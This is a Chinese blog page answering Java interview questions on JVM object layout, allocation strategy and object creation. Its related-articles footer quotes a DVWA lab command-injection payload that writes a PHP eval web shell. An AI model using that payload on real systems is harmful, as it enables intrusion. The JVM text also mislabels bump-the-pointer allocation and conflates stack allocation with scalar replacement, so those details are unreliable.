面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局?new一个对象到底占多大内存?

话不多说,看下图,对象的内存布局图

一个对象的内存布局主要由三部分组成:对象头(Object Header)、实例数据(Instance Data)和对齐填充(Padding)。下面分别介绍这三部分:

对象头(Object Header)

  • Mark Word:存储对象自身的运行时数据,如哈希码、GC分代年龄、锁状态标志等。这部分信息是与对象自身相关的元数据。
  • 类型指针:指向对象类型数据的指针,即该对象属于哪个类的实例。这个地址用于访问类型数据区中的类信息,包括方法表和其他静态变量。

实例数据(Instance Data)

  • 这一部分存放着对象真正有效信息,也就是程序中定义的各种类型的字段内容。这些字段按照从父类到子类的顺序分配内存,同时相同宽度的字段会被分配在一起,以优化空间使用效率。此外,JVM还可能对字段进行重新排序以进一步优化性能,这一过程称为字段排列(Field Layout)。

对齐填充(Padding)

  • JVM要求对象的起始地址必须是8字节的整数倍,这是为了提高CPU缓存命中率和访问速度。

而数组类型的对象,还有4个字节的数组长度字段,所有new一个对象需要的内存大小为:

8byte(对象头) + 4byte(类型指针) + 实例数据 + 填充字段 + 4byte数组长度(若为数组类型)

二、阐述对象的内存分配策略

整体策略如下图所示:

我们来剖析一下:

首先判读是否在栈上分配

  • 在现代JVM中,编译器可能会执行逃逸分析来判断新创建的对象是否只在当前方法或线程内使用。如果一个对象不会“逃逸”出方法的作用域或者被其他线程引用,那么它可以安全地分配在栈上而不是堆上,这被称为标量替换(Scalar Replacement)。这种优化可以减少垃圾回收的压力,并提高性能。

大对象直接进入老年代

  • 如果对象的大小超过了某个阈值(可以通过-XX:PretenureSizeThreshold参数配置),JVM可能会决定直接将该对象分配到老年代,以避免因频繁复制而增加的GC开销。对于非常大的对象,这样的分配策略能够提升性能。

线程本地分配(Thread Local Allocation Buffer, TLAB)

  • 为了减少多线程环境下的锁竞争,每个线程都有自己的小块内存区域(在堆中),称为TLAB。当一个线程需要分配对象时,它首先尝试在自己的TLAB中分配。只有当TLAB空间不足时,才会触发全局同步操作以分配新的TLAB或者直接从共享堆中分配。

对象优先分配到Eden区

  • 如果对象不适合上述任何一种特殊处理,则按照标准的内存分配流程进行,即在年轻代的Eden区分配。如果Eden区没有足够的空间,就会触发一次Minor GC;若GC后仍无足够空间,可能需要晋升部分对象到老年代,甚至引发Full GC。

三、new一个对象都有哪些步骤?

我们来看对象的创建过程,如下图:

1.类加载检查

  • JVM首先检查该类是否已经被加载到内存中。如果尚未加载,则会触发类加载过程,包括加载、链接(验证、准备、解析)和初始化。

2.分配内存

  • 为新对象分配内存空间。这一步骤涉及到如何从堆内存中划分出足够的空间给新对象。内存分配的方式取决于JVM的实现和配置,例如快速失败分配(bump-the-pointer)、线程本地分配缓冲区(TLAB, Thread Local Allocation Buffer)等。
  • 分配过程中还需要考虑对象的对齐填充,确保对象占用的内存是8字节的整数倍,以及处理并发情况下的线程安全问题。

3.内存空间初始化(初始化零值)

  • 在分配完内存后,JVM会对对象的实例变量进行零初始化(zero-initialization),即所有数值型字段被设为0或0.0,引用类型字段被设为null,boolean类型字段被设为false。

4.设置(对象头)

  • 初始化对象头的信息,如哈希码、GC分代年龄、锁状态标志等,并设置指向类元数据的指针,以便知道对象属于哪个类。

5.对象初始化(执行构造函数)

  • 调用类的构造方法来初始化对象的状态。构造方法可以设置成员变量的具体值,并执行其他必要的初始化操作。这是用户代码控制的部分,程序员可以在构造方法中编写自定义逻辑。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66208.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

特殊车辆检测数据集VOC+YOLO格式2730张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2730 标注数量(xml文件个数)&#xff1a;2730 标注数量(txt文件个数)&#xff1a;2730 …

LookingGlass使用

背景 Looking Glass 是一款开源应用程序&#xff0c;可以直接使用显卡直通的windows虚拟机。 常见环境是Linux hostwindows guest&#xff0c;基本部署结构图&#xff1a; 编译 git clone --recursive https://github.com/gnif/LookingGlass.git编译client mkdir client/b…

Ceph 手动部署(CentOS9)

#Ceph手动部署、CentOS9、squid版本、数字版本19.2.0 #部署服务:块、对象、文件 一、部署前规划 1、兼容性确认 2、资源规划 节点类型节点名称操作系统CPU/内存硬盘网络组件安装集群节点CephAdm01CentOS94U/8GOS:40G,OSD:2*100GIP1:192.169.0.9(管理&集群),IP2:…

如何优化亚马逊广告以提高ROI?

在竞争激烈的亚马逊市场中&#xff0c;优化广告以提高投资回报率&#xff08;ROI&#xff09;是卖家的关键任务。以下是一些实用的策略&#xff1a; 一、精准的关键词研究与选择 深入了解产品特性和目标受众 详细分析产品的功能、用途、优势和适用人群。例如&#xff0c;如果你…

CSS学习记录23

CSS用户界面 CSS调整大小 resize 属性规定元素是否应&#xff08;以及如何&#xff09;被用户调整大小。下例只允许用户调整 <div> 元素的宽度&#xff1a; div {resize: horizontal;overflow: auto; } 下例只允许用户调整 <div> 元素的高度&#xff1a; div {…

Linux菜鸟级常用的基本指令和基础知识

前言:很多Linux初学者都会头疼于指令太多记不住&#xff0c;笔者刚学习Linux时也是如此&#xff0c;学习Linux指令时&#xff0c;学了后面的指令&#xff0c;前面的指令也会忘的差不多了&#xff0c;针对于以上这些情况&#xff0c;笔者今天来分享一篇Linux菜鸟级的常用指令的博…

【数据仓库】hive on Tez配置

hive on Tez 搭建 前提是hive4.0hadoop3.2.2数仓已搭建完成&#xff0c;现在只是更换其执行引擎 为Tez。搭建可参考【数据仓库】hive hadoop数仓搭建实践文章。 Tez 下载 下载地址 https://archive.apache.org/dist/tez/ 官网地址 https://tez.apache.org/releases/apac…

用python编写一个放烟花的小程序

import pygame import random # 代码解释及使用说明&#xff1a; # 首先&#xff0c;导入 pygame 和 random 库。pygame 用于创建游戏窗口和图形绘制&#xff0c;random 用于生成随机数。 # 初始化 pygame&#xff0c;并设置屏幕尺寸为 800x600 像素&#xff0c;设置窗口标题为…

【管道——二分+区间合并】

题目 思路 区间合并 1、按照左端点排序2、遍历窗口&#xff0c;若窗口非法&#xff0c;继续遍历&#xff1b;否则执行33、若是第一个窗口&#xff0c;设定合并结果初值&#xff0c;判断结果左端点是否造成“起点过大”&#xff0c;是&#xff0c;FALSE退出&#xff1b;否则执行…

语雀导入md文件图片丢失

经常被困扰是&#xff0c;从语雀导入md文件&#xff0c;即使知道把md文件和本地图片文件夹打包成zip进行导入&#xff0c;还是出现图片丢失 解决方式1&#xff1a; 把图片和md文件放到同个目录下&#xff0c;重新打包成zip文件&#xff0c;导入后有图片了 解决方式2&#xf…